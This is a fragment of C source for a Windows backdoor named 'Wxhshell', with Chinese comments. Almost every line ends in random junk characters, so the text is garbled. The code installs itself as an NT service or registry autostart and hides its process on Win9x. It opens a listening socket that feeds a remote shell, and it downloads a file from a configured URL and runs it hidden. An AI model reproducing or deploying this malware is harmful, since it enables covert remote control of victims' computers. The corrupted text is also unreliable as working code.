ULONG InheritedFromUniqueProcessId; HPryq )z
} PROCESS_BASIC_INFORMATION; <%4M\n
mNA=<O;i)'
PROCNTQSIP NtQueryInformationProcess; g1kYL$ o4
%T6
sm
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,A%p9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OLS/3c
z
X
aE;i57$l
HANDLE hProcess; m?O~(6k@C
PROCESS_BASIC_INFORMATION pbi; J?C#'2/
n58yR -"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fI
v?HD:j
if(NULL == hInst ) return 0; <N{wFvF
XCyU)[wY
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vSnGPLl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (S~kNbIa
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r03%+:
Q}9!aB,
if (!NtQueryInformationProcess) return 0; nEt{ltsS0
;Zm-B]\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h6b(FTC^
if(!hProcess) return 0; [KL-T16
j- cp
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5,R4:y ?cK
0%<OwA2d
CloseHandle(hProcess); $35C1"
)b?$
4<X^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uv=a}U;
if(hProcess==NULL) return 0; \Up~"q>Kb
b4qMTRnv
HMODULE hMod;
NDUH10Y:[
char procName[255]; 9.%t9RM^
unsigned long cbNeeded; iE?yvtr8
b>2{F6F
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZkJLq[:cM
VqUCcT
CloseHandle(hProcess); "Zfm4Nx"
1xEFMHjy
if(strstr(procName,"services")) return 1; // 以服务启动 \E=MV~:R
k|,Y_h0Y
return 0; // 注册表启动 _\.4ofK(
} Ht:\
z;cu
dVs=*GEl9
// 主模块 ODEFs?%'
int StartWxhshell(LPSTR lpCmdLine) ~&aULY?)]
{ 7gcR/HNeF
SOCKET wsl; = GyABK
BOOL val=TRUE; &]h`kvtBC
int port=0; d6a3\f
struct sockaddr_in door; to'CuPkT
ypgM&"eR
if(wscfg.ws_autoins) Install(); Uc,MZV4
0xx4rpH
port=atoi(lpCmdLine); _NB*+HVo
"F =NDF
if(port<=0) port=wscfg.ws_port; -{}h6r
y/E:6w
WSADATA data; 7},oY""8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i)$P1h
?7]G)8G6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Fge["p?GF
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5%N[hd1Ql
door.sin_family = AF_INET; >8ryA$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'QQq0.
door.sin_port = htons(port); xG;;ykh.]
J'ZC5Xr
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &b`'RZe
closesocket(wsl); gnGh )
return 1; wfv\xHG
} jEE!H/
8_E(.]U
if(listen(wsl,2) == INVALID_SOCKET) { twu,yC!
closesocket(wsl); XG*> yra`
return 1; qyxd9Lk1
} z4 <_>)p
Wxhshell(wsl); Oi'y0S~g
WSACleanup(); R7"7
Rx
Ab]tLz|Z
return 0; 2i0;b|-=
!u'xdV+bf
} "F}dZ
z#Fel/L`O
// 以NT服务方式启动 q 'd]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]ag{sU@#
{ Q5}XD
DWORD status = 0; s1E 0atT
DWORD specificError = 0xfffffff; tfe]=_U
0%Le*C'yk
serviceStatus.dwServiceType = SERVICE_WIN32; c~4Cpy^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; H[nco#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z{|0W!nHJ
serviceStatus.dwWin32ExitCode = 0; =tbfBK+
serviceStatus.dwServiceSpecificExitCode = 0; P6Y+ u
serviceStatus.dwCheckPoint = 0; .^M#BAt2
serviceStatus.dwWaitHint = 0; R:+'"dBge
Ge/K.]>i
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $#-rOi /
if (hServiceStatusHandle==0) return; {:3\Ms#
HAL\j5i
status = GetLastError(); mI5J]hk
if (status!=NO_ERROR) ;:_AOb31N
{ J;NIa[a
serviceStatus.dwCurrentState = SERVICE_STOPPED; KJV8y"^=Q
serviceStatus.dwCheckPoint = 0; tT!'qL.*
serviceStatus.dwWaitHint = 0; !qp$Xtf+
serviceStatus.dwWin32ExitCode = status; "0uM%*2
serviceStatus.dwServiceSpecificExitCode = specificError; ]\KVA)\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^8EW/$k
return; xxyc^\$
} $cK}Tlq
A
yr,
serviceStatus.dwCurrentState = SERVICE_RUNNING; p3Qls*
serviceStatus.dwCheckPoint = 0; Ea&NJ]& g
serviceStatus.dwWaitHint = 0; {f\wIZ-K A
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L{P'mG=4
} p:TE##
}ymW};W
// 处理NT服务事件,比如:启动、停止 ^utOVi
VOID WINAPI NTServiceHandler(DWORD fdwControl) =3c?W&:
{ S9Oz5_x
switch(fdwControl) Dm{Xd+Y
{ o5p{ O>D[z
case SERVICE_CONTROL_STOP: G"`
}"T0}
serviceStatus.dwWin32ExitCode = 0; D
h;5hu2"
serviceStatus.dwCurrentState = SERVICE_STOPPED; }3A~ek#*~
serviceStatus.dwCheckPoint = 0; y~\ujp_5w
serviceStatus.dwWaitHint = 0; qF4tjza;k
{ "d:rPJT)(@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W03mdRW
} 1$eoW/8.
return; F$DA/ {.D
case SERVICE_CONTROL_PAUSE: 4VZI]3K,
serviceStatus.dwCurrentState = SERVICE_PAUSED; o_`6oC"s
break; Nd]F 33|X
case SERVICE_CONTROL_CONTINUE: 6FNGyvBU
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'x{oAtCP9
break; {=3A@/vM
case SERVICE_CONTROL_INTERROGATE: zwZvKV/g
break; #lrwKHZ+
}; X+ITW#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2zqaR[C
}
P4q5#r
u+Ix''Fn#%
// 标准应用程序主函数 dkz%
Y]
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uUg;v/:
{ tu<<pR>
(ne[a2%>
// 获取操作系统版本 a51e~mg Z`
OsIsNt=GetOsVer(); !Pw*p*z
GetModuleFileName(NULL,ExeFile,MAX_PATH); |J,zU6t
aSvv(iV
// 从命令行安装 !Z tqh Xr
if(strpbrk(lpCmdLine,"iI")) Install(); CdF;0A9.3
=4MTb_
// 下载执行文件 ]CF-#q}'
if(wscfg.ws_downexe) { mA{?E9W
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TL2E|@k1]
WinExec(wscfg.ws_filenam,SW_HIDE); @>Yd6C
} R1X'}#mU
.*x:
if(!OsIsNt) { w[
v{)
// 如果时win9x,隐藏进程并且设置为注册表启动 9^W7i]-Z
HideProc(); S[exnZ*Y
StartWxhshell(lpCmdLine); V*b/N
} Cu8mN B{H
else T4]2R
if(StartFromService()) F*[E28ia&
// 以服务方式启动 qg& /!\
StartServiceCtrlDispatcher(DispatchTable); EjLq&QR.
else $KYGQP
// 普通方式启动 WVRIq'
StartWxhshell(lpCmdLine); ?OFa
Q
3/`BK{
return 0; (p{%]M
}